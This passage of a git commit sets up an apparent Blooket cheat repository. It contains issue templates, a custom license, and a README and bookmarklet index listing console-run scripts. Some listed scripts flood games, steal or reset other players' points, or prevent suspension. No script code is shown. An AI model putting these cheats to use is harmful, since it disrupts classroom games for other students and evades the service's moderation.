commit e18f93667113ea25ce3da084ffbf5e2c29d8cad2 Author: 05Konz <05konz994@gmail.com> Date: Mon Aug 21 13:10:08 2023 -0500 Startup diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..1b06ea7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,53 @@ +name: Bug Report +description: Report an issue or problem with a script +title: "BUG: (script name)" +labels: ["bug"] +assignees: + - 05Konz +body: + - type: input + id: script + attributes: + label: Script + description: Which script is causing the problem? + placeholder: scriptname.js + validations: + required: true + - type: textarea + id: problem + attributes: + label: Problem + description: What's the problem with the script? + placeholder: Describe the issue + validations: + required: true + - type: dropdown + id: method + attributes: + label: Method + description: How did you run the script? + multiple: true + options: + - Imported Bookmarklets.html + - "Put 'javascript:(code)' in the url bar or a bookmark" + - Pasted script into console + - Other (described in Extra Info section) + validations: + required: true + - type: dropdown + id: type + attributes: + label: Type + description: Unobfuscated or obfuscated + multiple: true + options: + - Unobfuscated + - Obfuscated + validations: + required: true + - type: textarea + attributes: + label: Extra Info + description: Any extra info (ie screenshots or any important info) + validations: + required: false \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/skid_report.yml b/.github/ISSUE_TEMPLATE/skid_report.yml new file mode 100644 index 0000000..e847ea8 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/skid_report.yml @@ -0,0 +1,23 @@ +name: Skid Report +description: Report someone stealing our scripts or violating the license +title: "SKID: " +labels: ["skid"] +assignees: + - 05Konz +body: + - type: input + id: skid + attributes: + label: Skid + description: Link to the skid + placeholder: https://github.com/skidname/skid + validations: + required: true + - type: textarea + id: stolen + attributes: + label: Stolen + description: What was stolen? + placeholder: Stolen code + validations: + required: true diff --git a/.github/ISSUE_TEMPLATE/suggestion.yml b/.github/ISSUE_TEMPLATE/suggestion.yml new file mode 100644 index 0000000..555a3e2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/suggestion.yml @@ -0,0 +1,30 @@ +name: Suggestion +description: Suggest a cheat or script +title: "IDEA: Script idea name" +labels: ["enhancement"] +body: + - type: input + id: gamemode + attributes: + label: Gamemode + description: Gamemode for cheat to be for + placeholder: Gamemode + - type: textarea + id: function + attributes: + label: Function + description: What does the script do? + placeholder: Script function + validations: + required: true + - type: dropdown + id: confirm + attributes: + label: FaQ + description: Please make sure to read [the FaQ](https://github.com/Minesraft2/Blooket-Cheats/wiki#faq) before submitting any suggestions + multiple: true + options: + - I have not read the FaQ + - I have read the FaQ and my suggestion has not already been asked for or isn't possible + validations: + required: true \ No newline at end of file diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..daeb3ed --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,2 @@ +# Changes +**Describe what your changes/additions are and what they do:** \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..280d74b --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +test/ +scripts/ +methods.js \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..3834f7e --- /dev/null +++ b/LICENSE @@ -0,0 +1,50 @@ +Stewart Private License Version 2.0.1 +------------------------------------- +© 05Konz 2022-2023 +By using, modifying, and/or distributing this (software; program; code) you hereby adhere to the terms listed below and must abide by them if you do not want action taken on you/your corporation. + +You may not reproduce or distribute unauthorized access of this unless outwardly authorized by said licenser (APPLIES TO ALL BELOW TERMS) +You must adhere by the contributing guidelines of the project under which it is licensed. +You may not "skid", "steal", "copy", "reproduce", "scounder", "recreate" any of the code and scripts inside of this. +You may not sell or market any of the code; scripts; content of inside of this codebase unless expressly permitted. +You are prohibited from using this code to inflict any illegal doings upon others. +You cannot under any circumstances republish anything from here as your own without expressed permission and evidence from said claims holder. +You may not lock the codebase or any of its contents behind a paywall or any other form of payment. +You may not use this codebase for any illegal doings. +You may neither privately share and distribute modified copies of this codebase without expressed permission from the licenser. +You may not lock this codebase behind a subscriber wall, follower wall, or any other form of membership. + +Terms: +- Paywall: A paywall is a form of payment that is required to access the codebase or any of its contents. This includes but is not limited to: Patreon, Discord, YouTube and any other form of payment. +- Licenser: The person who owns the rights to the codebase and has the right to license it to others. +- Codebase: The codebase is the code and scripts that are inside of the project. +- Contributor: A contributor is a person who has contributed to the codebase in any way, shape, or form. +- Action: Action is a form of punishment that can be taken against the user who has broken the terms of this license. This includes but is not limited to: DMCA, DMCA Takedown, and any other form of punishment that can be taken against the user. +- Distribution: Distribution is the act of sharing the codebase with others. +- Modification: Modification is the act of changing the codebase in any way, shape, or form. +- Code, Program, Software: The codebase. +- You: The user who is using, modifying, and/or distributing the codebase. +- Subscriber Wall: A subscriber wall is a form of followship and/or membership that is required to access the codebase or any of its contents. This includes but is not limited to: YouTube, Discord, Twitch, Twitter, Instagram, TikTok, Email Subscription, MBoost, and any other form of followship and/or membership. + +Disclaimer: +- I am not responsible for any actions taken against you or your corporation if you break the terms of this license. +- Any action or harm taken against you or your corporation is entirely your fault and not the fault of the licenser nor owner of the codebase. +- If you break the terms of this license, you may be subject to action taken against you or your corporation. + + + + +You are not allowed or permitted to use this private license if you are not listed below and have not been given permission by the licenser, 05Konz, to use this. +- Greenlio (Green L.) +- 05Konz +- UndercoverGoose +- ThatFruedDued +- ItsSyfe +- GooseterV (Goose V.) + +I; the licenser of this project hereby permit and allow these users and persons to modify, reproduce, distribute, and use portions and/or the whole project for their own projects. +- UndercoverGoose +- ThatFruedDued +- Greenlio (Green L.) +- GooseterV (Goose V.) +- ItsSyfe diff --git a/README.md b/README.md new file mode 100644 index 0000000..fd0120c --- /dev/null +++ b/README.md @@ -0,0 +1,187 @@ +

Cheats made by someone who knows more about what they're doing

+

Instructions for importing bookmarklets

+ +## Information + +

How to use

+ +There are 3 good methods to using these scripts: +1. Importing one of the Bookmarklets.html files using [these instructions](https://github.com/05Konz/Blooket-Cheats/blob/main/tutorial/readme.md) +2. Going to the [GitHub pages site](https://05konz.github.io/Blooket-Cheats), choosing a gamemode, then dragging a cheat to your bookmarks bar or clicking one to copy the script +3. Copying a script and running it in the inspect element console +
+ +

What can I do if JavaScript is blocked?

+ +We don't actually know what to do about this or how to fix it, sorry. +
+ +

(script) is not working?

+ +Make sure you're running it properly (see [How to use](https://github.com/05Konz/Blooket-Cheats#how-to-use)), if it still doesn't work and other cheats do, then [make an issue](https://github.com/05Konz/Blooket-Cheats/issues) +
+ +

Which script should I use to make a bookmarklet?

+ +You should use the scripts ending in ".min.js", as using the others will have errors due to formatting. +
+ +

Can you give me infinite tokens / bypass daily limit / permanently give me blooks / change pack luck?

+ +No, these are things we would've already done if they were possible, they're managed on the backend of Blooket so we can't modify them +
+ +

Can you make hacks for (game)

+ +No +
+ +

Can you make more Battle Royale cheats

+ +Battle Royale is a gamemode that works almost entirely on the host's end. The only thing we have control over is answering questions. +
+ +

What happend to Minesraft2?

+ +Minesraft2 was sent a cease and desist from Blooket, and I offered to take over since he wouldn't be able to. +
+ +

How do I do this on mobile?

+ +These scripts aren't made for mobile, so we don't really know how to get them to work on it. +
+ +

What's the Mobile GUI?

+ +The mobile GUI is the first GUI Minesraft2 ever made. Some people said it worked on mobile and it's a lot neater for mobile use apparently so we just called it that. +
+ + +

List of Cheats

+ +* [React GUI](cheats/reactGui.js) +* [GUI](cheats/gui.js) +* [Mobile GUI](cheats/mobileGui.js) +### [Monster Brawl](cheats/brawl) +* [Double Enemy XP](cheats/brawl/doubleEnemyXp.js) +* [Half Enemy Speed](cheats/brawl/halfEnemySpeed.js) +* [Instant Kill](cheats/brawl/instantKill.js) +* [Invincibility](cheats/brawl/invincibility.js) +* [Kill Enemies](cheats/brawl/killEnemies.js) +* [Magnet](cheats/brawl/magnet.js) +* [Max Current Abilities](cheats/brawl/maxCurrentAbilities.js) +* [Next Level](cheats/brawl/nextLevel.js) +* [Remove Obstacles](cheats/brawl/removeObstacles.js) +* [Reset Health](cheats/brawl/resetHealth.js) +### [Cafe](cheats/cafe) +* [Max Items](cheats/cafe/maxItems.js) +* [Remove Customers](cheats/cafe/removeCustomers.js) +* [Reset Abilities](cheats/cafe/resetAbilities.js) +* [Set Cash](cheats/cafe/setCash.js) +* [Stock Food](cheats/cafe/stockFood.js) +### [Crypto Hack](cheats/crypto) +* [Always Triple](cheats/crypto/alwaysTriple.js) +* [Auto Guess](cheats/crypto/autoGuess.js) +* [Choice ESP](cheats/crypto/choiceESP.js) +* [Password ESP](cheats/crypto/passwordESP.js) +* [Remove Hack](cheats/crypto/removeHack.js) +* [Set Crypto](cheats/crypto/setCrypto.js) +* [Set Password](cheats/crypto/setPassword.js) +* [Steal Players Crypto](cheats/crypto/stealPlayersCrypto.js) +### [Deceptive Dinos](cheats/dinos) +* [Auto Choose](cheats/dinos/autoChoose.js) +* [Rock ESP](cheats/dinos/rockESP.js) +* [Set Fossils](cheats/dinos/setFossils.js) +* [Set Multiplier](cheats/dinos/setMultiplier.js) +* [Stop Cheating](cheats/dinos/stopCheating.js) +### [Tower of Doom](cheats/doom) +* [Fill Deck](cheats/doom/fillDeck.js) +* [Max Cards](cheats/doom/maxCards.js) +* [Max Health](cheats/doom/maxHealth.js) +* [Max Stats](cheats/doom/maxStats.js) +* [Min Enemy](cheats/doom/minEnemy.js) +* [Set Coins](cheats/doom/setCoins.js) +### [Factory](cheats/factory) +* [Choose Blook](cheats/factory/chooseBlook.js) +* [Free Upgrades](cheats/factory/freeUpgrades.js) +* [Max Blooks](cheats/factory/maxBlooks.js) +* [Remove Glitches](cheats/factory/removeGlitches.js) +* [Send Glitch](cheats/factory/sendGlitch.js) +* [Set All Mega Bot](cheats/factory/setAllMegaBot.js) +* [Set Cash](cheats/factory/setCash.js) +### [Fishing Frenzy](cheats/fishing) +* [Frenzy](cheats/fishing/frenzy.js) +* [Remove Distraction](cheats/fishing/removeDistraction.js) +* [Send Distraction](cheats/fishing/sendDistraction.js) +* [Set Lure](cheats/fishing/setLure.js) +* [Set Weight](cheats/fishing/setWeight.js) +### [Flappy Blook](cheats/flappy) +* [Set Score](cheats/flappy/setScore.js) +* [Toggle Ghost](cheats/flappy/toggleGhost.js) +### [Global](cheats/global) +* [Anti Flood Game](cheats/global/antiFloodGame.js) +* [Auto Answer](cheats/global/autoAnswer.js) +* [Auto Sell Dupes On Open](cheats/global/autoSellDupesOnOpen.js) +* [Change Blook Ingame](cheats/global/changeBlookIngame.js) +* [Every Answer Correct](cheats/global/everyAnswerCorrect.js) +* [Flood Game](cheats/global/floodGame.js) +* [Get Daily Rewards](cheats/global/getDailyRewards.js) +* [Highlight Answers](cheats/global/highlightAnswers.js) +* [Prevent Suspension](cheats/global/preventSuspension.js) +* [Remove Random Name](cheats/global/removeRandomName.js) +* [Sell Cheap Duplicates](cheats/global/sellCheapDuplicates.js) +* [Sell Duplicate Blooks](cheats/global/sellDuplicateBlooks.js) +* [Simulate Pack](cheats/global/simulatePack.js.js) +* [Simulate Unlock](cheats/global/simulateUnlock.js) +* [Spam Buy Blooks](cheats/global/spamBuyBlooks.js) +* [Unlock Plus Gamemodes](cheats/global/unlockPlusGamemodes.js) +* [Use Any Blook](cheats/global/useAnyBlook.js) +#### [Intervals](cheats/global/intervals) +* [Auto Answer](cheats/global/intervals/autoAnswer.js) +* [Highlight Answers](cheats/global/intervals/highlightAnswers.js) +### [Gold Quest](cheats/gold) +* [Always Triple](cheats/gold/alwaysTriple.js) +* [Auto Choose](cheats/gold/autoChoose.js) +* [Chest ESP](cheats/gold/chestESP.js) +* [Reset All Gold](cheats/gold/resetAllGold.js) +* [Reset Players Gold](cheats/gold/resetPlayersGold.js) +* [Set Gold](cheats/gold/setGold.js) +* [Swap Gold](cheats/gold/swapGold.js) +### [Crazy Kingdom](cheats/kingdom) +* [Choice ESP](cheats/kingdom/choiceESP.js) +* [Choice ESP Loop](cheats/kingdom/choiceESPLoop.js) +* [Disable Toucan](cheats/kingdom/disableToucan.js) +* [Max Stats](cheats/kingdom/maxStats.js) +* [Set Guests](cheats/kingdom/setGuests.js) +* [Skip Guest](cheats/kingdom/skipGuest.js) +### [Racing](cheats/racing) +* [Instant Win](cheats/racing/instantWin.js) +### [Battle Royale](cheats/royale) +* [Auto Answer](cheats/royale/autoAnswer.js) +#### [Intervals](cheats/royale/intervals) +* [Auto Answer](cheats/royale/intervals/autoAnswer.js) +### [Blook Rush](cheats/rush) +* [Set Blooks](cheats/rush/setBlooks.js) +* [Set Defense](cheats/rush/setDefense.js) +### [Tower Defense](cheats/tower-defense) +* [Earthquake](cheats/tower-defense/earthquake.js) +* [Max Towers](cheats/tower-defense/maxTowers.js) +* [Remove Ducks](cheats/tower-defense/removeDucks.js) +* [Remove Enemies](cheats/tower-defense/removeEnemies.js) +* [Remove Obsticles](cheats/tower-defense/removeObsticles.js) +* [Set Damage](cheats/tower-defense/setDmg.js) +* [Set Round](cheats/tower-defense/setRound.js) +* [Set Tokens](cheats/tower-defense/setTokens.js) +### [Tower Defense 2](cheats/tower-defense-2) +* [Max Towers](cheats/tower-defense-2/maxTowers.js) +* [Remove Enemies](cheats/tower-defense-2/removeEnemies.js) +* [Set Coins](cheats/tower-defense-2/setCoins.js) +* [Set Health](cheats/tower-defense-2/setHealth.js) +* [Set Round](cheats/tower-defense-2/setRound.js) +### [Santa's Workshop](cheats/workshop) +* [Remove Distractions](cheats/workshop/removeDistractions.js) +* [Send Distraction](cheats/workshop/sendDistraction.js) +* [Set Toys](cheats/workshop/setToys.js) +* [Set Toys Per Question](cheats/workshop/setToysPerQ.js) +* [Swap Toys](cheats/workshop/swapToys.js) +
diff --git a/autoupdate/Bookmarklets.html b/autoupdate/Bookmarklets.html new file mode 100644 index 0000000..604a76b --- /dev/null +++ b/autoupdate/Bookmarklets.html @@ -0,0 +1,192 @@ + + +Blooket Cheats +

Blooket Cheats

+
+
Gui
+
Mobile Gui
+
React Gui
+

Monster Brawl

+
+
Double Enemy Xp
+
Half Enemy Speed
+
Instant Kill
+
Invincibility
+
Kill Enemies
+
Magnet
+
Max Current Abilities
+
Next Level
+
Remove Obstacles
+
Reset Health
+
+

Cafe

+
+
Max Items
+
Remove Customers
+
Reset Abilities
+
Set Cash
+
Stock Food
+
+

Crypto Hack

+
+
Always Triple
+
Auto Guess
+
Choice ESP
+
Password ESP
+
Remove Hack
+
Set Crypto
+
Set Password
+
Steal Players Crypto
+
+

Deceptive Dinos

+
+
Auto Choose
+
Rock ESP
+
Set Fossils
+
Set Multiplier
+
Stop Cheating
+
+

Tower of Doom

+
+
Fill Deck
+
Max Cards
+
Max Health
+
Max Stats
+
Min Enemy
+
Set Coins
+
+

Factory

+
+
Choose Blook
+
Free Upgrades
+
Max Blooks
+
Remove Glitches
+
Send Glitch
+
Set All Mega Bot
+
Set Cash
+
+

Fishing Frenzy

+
+
Frenzy
+
Remove Distraction
+
Send Distraction
+
Set Lure
+
Set Weight
+
+

Flappy Blook

+
+
Set Score
+
Toggle Ghost
+
+

Global

+
+
Anti Flood Game
+
Auto Answer
+
Change Blook Ingame
+
Every Answer Correct
+
Flood Game
+
Get Daily Rewards
+
Highlight Answers
+
Remove Name Limit
+
Remove Random Name
+
Sell Cheap Duplicates
+
Sell Duplicate Blooks
+
Simulate Pack
+
Simulate Unlock
+
Spam Buy Blooks
+
Unlock Plus Gamemodes
+
Use Any Blook
+

Intervals

+
+
Auto Answer
+
Highlight Answers
+
+
+

Gold Quest

+
+
Always Triple
+
Auto Choose
+
Chest ESP
+
Reset All Gold
+
Reset Players Gold
+
Set Gold
+
Set Players Gold
+
Swap Gold
+
+

Crazy Kingdom

+
+
Choice ESP
+
Choice ESP Loop
+
Disable Toucan
+
Max Stats
+
Set Guests
+
Skip Guest
+
+

Racing

+
+
Instant Win
+
+

Royale

+
+
Auto Answer
+

Intervals

+
+
Auto Answer
+
+
+

Blook Rush

+
+
Set Blooks
+
Set Defense
+
+

Tower Defense

+
+
Earthquake
+
Max Towers
+
Remove Ducks
+
Remove Enemies
+
Remove Obsticles
+
Set Dmg
+
Set Round
+
Set Tokens
+
+

Tower Defense 2

+
+
Max Towers
+
Remove Enemies
+
Set Coins
+
Set Health
+
Set Round
+
+

Santa's Workshop

+
+
Remove Distractions
+
Send Distraction
+
Set Toys
+
Set Toys Per Q
+
Swap Toys
+
+
+ + \ No newline at end of file diff --git a/autoupdate/brawl/doubleEnemyXp.png b/autoupdate/brawl/doubleEnemyXp.png new file mode 100644 index 0000000..559c1c6 Binary files /dev/null and b/autoupdate/brawl/doubleEnemyXp.png differ diff --git a/autoupdate/brawl/halfEnemySpeed.png b/autoupdate/brawl/halfEnemySpeed.png new file mode 100644 index 0000000..869b4ea Binary files /dev/null and b/autoupdate/brawl/halfEnemySpeed.png differ diff --git a/autoupdate/brawl/instantKill.png b/autoupdate/brawl/instantKill.png new file mode 100644 index 0000000..9f16393 Binary files /dev/null and b/autoupdate/brawl/instantKill.png differ diff --git a/autoupdate/brawl/invincibility.png b/autoupdate/brawl/invincibility.png new file mode 100644 index 0000000..162e619 Binary files /dev/null and b/autoupdate/brawl/invincibility.png differ diff --git a/autoupdate/brawl/killEnemies.png b/autoupdate/brawl/killEnemies.png new file mode 100644 index 0000000..09224a4 Binary files /dev/null and b/autoupdate/brawl/killEnemies.png differ diff --git a/autoupdate/brawl/magnet.png b/autoupdate/brawl/magnet.png new file mode 100644 index 0000000..9d3c7cb Binary files /dev/null and b/autoupdate/brawl/magnet.png differ diff --git a/autoupdate/brawl/maxCurrentAbilities.png b/autoupdate/brawl/maxCurrentAbilities.png new file mode 100644 index 0000000..cd4f050 Binary files /dev/null and b/autoupdate/brawl/maxCurrentAbilities.png differ diff --git a/autoupdate/brawl/nextLevel.png b/autoupdate/brawl/nextLevel.png new file mode 100644 index 0000000..0e5c7ae Binary files /dev/null and b/autoupdate/brawl/nextLevel.png differ diff --git a/autoupdate/brawl/removeObstacles.png b/autoupdate/brawl/removeObstacles.png new file mode 100644 index 0000000..90e765f Binary files /dev/null and b/autoupdate/brawl/removeObstacles.png differ diff --git a/autoupdate/brawl/resetHealth.png b/autoupdate/brawl/resetHealth.png new file mode 100644 index 0000000..4241d8b Binary files /dev/null and b/autoupdate/brawl/resetHealth.png differ diff --git a/autoupdate/cafe/maxItems.png b/autoupdate/cafe/maxItems.png new file mode 100644 index 0000000..4fee0e9 Binary files /dev/null and b/autoupdate/cafe/maxItems.png differ diff --git a/autoupdate/cafe/removeCustomers.png b/autoupdate/cafe/removeCustomers.png new file mode 100644 index 0000000..508694c Binary files /dev/null and b/autoupdate/cafe/removeCustomers.png differ diff --git a/autoupdate/cafe/resetAbilities.png b/autoupdate/cafe/resetAbilities.png new file mode 100644 index 0000000..18747bb Binary files /dev/null and b/autoupdate/cafe/resetAbilities.png differ diff --git a/autoupdate/cafe/setCash.png b/autoupdate/cafe/setCash.png new file mode 100644 index 0000000..11836b9 Binary files /dev/null and b/autoupdate/cafe/setCash.png differ diff --git a/autoupdate/cafe/stockFood.png b/autoupdate/cafe/stockFood.png new file mode 100644 index 0000000..48f8d95 Binary files /dev/null and b/autoupdate/cafe/stockFood.png differ diff --git a/autoupdate/crypto/alwaysTriple.png b/autoupdate/crypto/alwaysTriple.png new file mode 100644 index 0000000..2b3d831 Binary files /dev/null and b/autoupdate/crypto/alwaysTriple.png differ diff --git a/autoupdate/crypto/autoGuess.png b/autoupdate/crypto/autoGuess.png new file mode 100644 index 0000000..414a6f9 Binary files /dev/null and b/autoupdate/crypto/autoGuess.png differ diff --git a/autoupdate/crypto/choiceESP.png b/autoupdate/crypto/choiceESP.png new file mode 100644 index 0000000..a96f704 Binary files /dev/null and b/autoupdate/crypto/choiceESP.png differ diff --git a/autoupdate/crypto/passwordESP.png b/autoupdate/crypto/passwordESP.png new file mode 100644 index 0000000..d014ba5 Binary files /dev/null and b/autoupdate/crypto/passwordESP.png differ diff --git a/autoupdate/crypto/removeHack.png b/autoupdate/crypto/removeHack.png new file mode 100644 index 0000000..2a4d51f Binary files /dev/null and b/autoupdate/crypto/removeHack.png differ diff --git a/autoupdate/crypto/setCrypto.png b/autoupdate/crypto/setCrypto.png new file mode 100644 index 0000000..535290f Binary files /dev/null and b/autoupdate/crypto/setCrypto.png differ diff --git a/autoupdate/crypto/setPassword.png b/autoupdate/crypto/setPassword.png new file mode 100644 index 0000000..010fb8a Binary files /dev/null and b/autoupdate/crypto/setPassword.png differ diff --git a/autoupdate/crypto/stealPlayersCrypto.png b/autoupdate/crypto/stealPlayersCrypto.png new file mode 100644 index 0000000..4e0dbcb Binary files /dev/null and b/autoupdate/crypto/stealPlayersCrypto.png differ diff --git a/autoupdate/dinos/autoChoose.png b/autoupdate/dinos/autoChoose.png new file mode 100644 index 0000000..df6a73b Binary files /dev/null and b/autoupdate/dinos/autoChoose.png differ diff --git a/autoupdate/dinos/rockESP.png b/autoupdate/dinos/rockESP.png new file mode 100644 index 0000000..4359d4f Binary files /dev/null and b/autoupdate/dinos/rockESP.png differ diff --git a/autoupdate/dinos/setFossils.png b/autoupdate/dinos/setFossils.png new file mode 100644 index 0000000..e4ae999 Binary files /dev/null and b/autoupdate/dinos/setFossils.png differ diff --git a/autoupdate/dinos/setMultiplier.png b/autoupdate/dinos/setMultiplier.png new file mode 100644 index 0000000..5cc0a0a Binary files /dev/null and b/autoupdate/dinos/setMultiplier.png differ diff --git a/autoupdate/dinos/stopCheating.png b/autoupdate/dinos/stopCheating.png new file mode 100644 index 0000000..5f959be Binary files /dev/null and b/autoupdate/dinos/stopCheating.png differ diff --git a/autoupdate/doom/fillDeck.png b/autoupdate/doom/fillDeck.png new file mode 100644 index 0000000..bb925ef Binary files /dev/null and b/autoupdate/doom/fillDeck.png differ diff --git a/autoupdate/doom/maxCards.png b/autoupdate/doom/maxCards.png new file mode 100644 index 0000000..2a1d1cc Binary files /dev/null and b/autoupdate/doom/maxCards.png differ diff --git a/autoupdate/doom/maxHealth.png b/autoupdate/doom/maxHealth.png new file mode 100644 index 0000000..535aee1 Binary files /dev/null and b/autoupdate/doom/maxHealth.png differ diff --git a/autoupdate/doom/maxStats.png b/autoupdate/doom/maxStats.png new file mode 100644 index 0000000..ca254c6 Binary files /dev/null and b/autoupdate/doom/maxStats.png differ diff --git a/autoupdate/doom/minEnemy.png b/autoupdate/doom/minEnemy.png new file mode 100644 index 0000000..b8c8c27 Binary files /dev/null and b/autoupdate/doom/minEnemy.png differ diff --git a/autoupdate/doom/setCoins.png b/autoupdate/doom/setCoins.png new file mode 100644 index 0000000..83c8ecb Binary files /dev/null and b/autoupdate/doom/setCoins.png differ diff --git a/autoupdate/factory/chooseBlook.png b/autoupdate/factory/chooseBlook.png new file mode 100644 index 0000000..3966474 Binary files /dev/null and b/autoupdate/factory/chooseBlook.png differ diff --git a/autoupdate/factory/freeUpgrades.png b/autoupdate/factory/freeUpgrades.png new file mode 100644 index 0000000..06a12e3 Binary files /dev/null and b/autoupdate/factory/freeUpgrades.png differ diff --git a/autoupdate/factory/maxBlooks.png b/autoupdate/factory/maxBlooks.png new file mode 100644 index 0000000..eb7f2e8 Binary files /dev/null and b/autoupdate/factory/maxBlooks.png differ diff --git a/autoupdate/factory/removeGlitches.png b/autoupdate/factory/removeGlitches.png new file mode 100644 index 0000000..7e539cf Binary files /dev/null and b/autoupdate/factory/removeGlitches.png differ diff --git a/autoupdate/factory/sendGlitch.png b/autoupdate/factory/sendGlitch.png new file mode 100644 index 0000000..5b62cb0 Binary files /dev/null and b/autoupdate/factory/sendGlitch.png differ diff --git a/autoupdate/factory/setAllMegaBot.png b/autoupdate/factory/setAllMegaBot.png new file mode 100644 index 0000000..3cfc05d Binary files /dev/null and b/autoupdate/factory/setAllMegaBot.png differ diff --git a/autoupdate/factory/setCash.png b/autoupdate/factory/setCash.png new file mode 100644 index 0000000..7b76166 Binary files /dev/null and b/autoupdate/factory/setCash.png differ diff --git a/autoupdate/fishing/frenzy.png b/autoupdate/fishing/frenzy.png new file mode 100644 index 0000000..41b5bb2 Binary files /dev/null and b/autoupdate/fishing/frenzy.png differ diff --git a/autoupdate/fishing/removeDistraction.png b/autoupdate/fishing/removeDistraction.png new file mode 100644 index 0000000..efe79ad Binary files /dev/null and b/autoupdate/fishing/removeDistraction.png differ diff --git a/autoupdate/fishing/sendDistraction.png b/autoupdate/fishing/sendDistraction.png new file mode 100644 index 0000000..4c08582 Binary files /dev/null and b/autoupdate/fishing/sendDistraction.png differ diff --git a/autoupdate/fishing/setLure.png b/autoupdate/fishing/setLure.png new file mode 100644 index 0000000..f48f41c Binary files /dev/null and b/autoupdate/fishing/setLure.png differ diff --git a/autoupdate/fishing/setWeight.png b/autoupdate/fishing/setWeight.png new file mode 100644 index 0000000..ce4387e Binary files /dev/null and b/autoupdate/fishing/setWeight.png differ diff --git a/autoupdate/flappy/setScore.png b/autoupdate/flappy/setScore.png new file mode 100644 index 0000000..b425478 Binary files /dev/null and b/autoupdate/flappy/setScore.png differ diff --git a/autoupdate/flappy/toggleGhost.png b/autoupdate/flappy/toggleGhost.png new file mode 100644 index 0000000..4e34e85 Binary files /dev/null and b/autoupdate/flappy/toggleGhost.png differ diff --git a/autoupdate/global/autoAnswer.png b/autoupdate/global/autoAnswer.png new file mode 100644 index 0000000..8548767 Binary files /dev/null and b/autoupdate/global/autoAnswer.png differ diff --git a/autoupdate/global/changeBlookIngame.png b/autoupdate/global/changeBlookIngame.png new file mode 100644 index 0000000..3d8cc36 Binary files /dev/null and b/autoupdate/global/changeBlookIngame.png differ diff --git a/autoupdate/global/enableLimitedGamemodes.png b/autoupdate/global/enableLimitedGamemodes.png new file mode 100644 index 0000000..29fdf2c Binary files /dev/null and b/autoupdate/global/enableLimitedGamemodes.png differ diff --git a/autoupdate/global/everyAnswerCorrect.png b/autoupdate/global/everyAnswerCorrect.png new file mode 100644 index 0000000..b3333bc Binary files /dev/null and b/autoupdate/global/everyAnswerCorrect.png differ diff --git a/autoupdate/global/floodGame.png b/autoupdate/global/floodGame.png new file mode 100644 index 0000000..7477d45 Binary files /dev/null and b/autoupdate/global/floodGame.png differ diff --git a/autoupdate/global/getDailyRewards.png b/autoupdate/global/getDailyRewards.png new file mode 100644 index 0000000..b64f662 Binary files /dev/null and b/autoupdate/global/getDailyRewards.png differ diff --git a/autoupdate/global/highlightAnswers.png b/autoupdate/global/highlightAnswers.png new file mode 100644 index 0000000..5a8c8a3 Binary files /dev/null and b/autoupdate/global/highlightAnswers.png differ diff --git a/autoupdate/global/intervals/autoAnswer.png b/autoupdate/global/intervals/autoAnswer.png new file mode 100644 index 0000000..4789830 Binary files /dev/null and b/autoupdate/global/intervals/autoAnswer.png differ diff --git a/autoupdate/global/intervals/highlightAnswers.png b/autoupdate/global/intervals/highlightAnswers.png new file mode 100644 index 0000000..74c3164 Binary files /dev/null and b/autoupdate/global/intervals/highlightAnswers.png differ diff --git a/autoupdate/global/removeNameLimit.png b/autoupdate/global/removeNameLimit.png new file mode 100644 index 0000000..5368d4f Binary files /dev/null and b/autoupdate/global/removeNameLimit.png differ diff --git a/autoupdate/global/removeRandomName.png b/autoupdate/global/removeRandomName.png new file mode 100644 index 0000000..917bbe8 Binary files /dev/null and b/autoupdate/global/removeRandomName.png differ diff --git a/autoupdate/global/sellCheapDuplicates.png b/autoupdate/global/sellCheapDuplicates.png new file mode 100644 index 0000000..83a6899 Binary files /dev/null and b/autoupdate/global/sellCheapDuplicates.png differ diff --git a/autoupdate/global/sellDuplicateBlooks.png b/autoupdate/global/sellDuplicateBlooks.png new file mode 100644 index 0000000..917eec2 Binary files /dev/null and b/autoupdate/global/sellDuplicateBlooks.png differ diff --git a/autoupdate/global/simulatePack.png b/autoupdate/global/simulatePack.png new file mode 100644 index 0000000..93ccf07 Binary files /dev/null and b/autoupdate/global/simulatePack.png differ diff --git a/autoupdate/global/simulateUnlock.png b/autoupdate/global/simulateUnlock.png new file mode 100644 index 0000000..7ecb63c Binary files /dev/null and b/autoupdate/global/simulateUnlock.png differ diff --git a/autoupdate/global/spamBuyBlooks.png b/autoupdate/global/spamBuyBlooks.png new file mode 100644 index 0000000..9accee7 Binary files /dev/null and b/autoupdate/global/spamBuyBlooks.png differ diff --git a/autoupdate/global/unlockPlusGamemodes.png b/autoupdate/global/unlockPlusGamemodes.png new file mode 100644 index 0000000..a07a790 Binary files /dev/null and b/autoupdate/global/unlockPlusGamemodes.png differ diff --git a/autoupdate/global/useAnyBlook.png b/autoupdate/global/useAnyBlook.png new file mode 100644 index 0000000..bfbfc73 Binary files /dev/null and b/autoupdate/global/useAnyBlook.png differ diff --git a/autoupdate/gold/alwaysTriple.png b/autoupdate/gold/alwaysTriple.png new file mode 100644 index 0000000..29cd45f Binary files /dev/null and b/autoupdate/gold/alwaysTriple.png differ diff --git a/autoupdate/gold/autoChoose.png b/autoupdate/gold/autoChoose.png new file mode 100644 index 0000000..35d2ee8 Binary files /dev/null and b/autoupdate/gold/autoChoose.png differ diff --git a/autoupdate/gold/chestESP.png b/autoupdate/gold/chestESP.png new file mode 100644 index 0000000..3c72788 Binary files /dev/null and b/autoupdate/gold/chestESP.png differ diff --git a/autoupdate/gold/resetAllGold.png b/autoupdate/gold/resetAllGold.png new file mode 100644 index 0000000..1fbdaa3 Binary files /dev/null and b/autoupdate/gold/resetAllGold.png differ diff --git a/autoupdate/gold/resetPlayersGold.png b/autoupdate/gold/resetPlayersGold.png new file mode 100644 index 0000000..ff6f9fb Binary files /dev/null and b/autoupdate/gold/resetPlayersGold.png differ diff --git a/autoupdate/gold/setGold.png b/autoupdate/gold/setGold.png new file mode 100644 index 0000000..4b2f71a Binary files /dev/null and b/autoupdate/gold/setGold.png differ diff --git 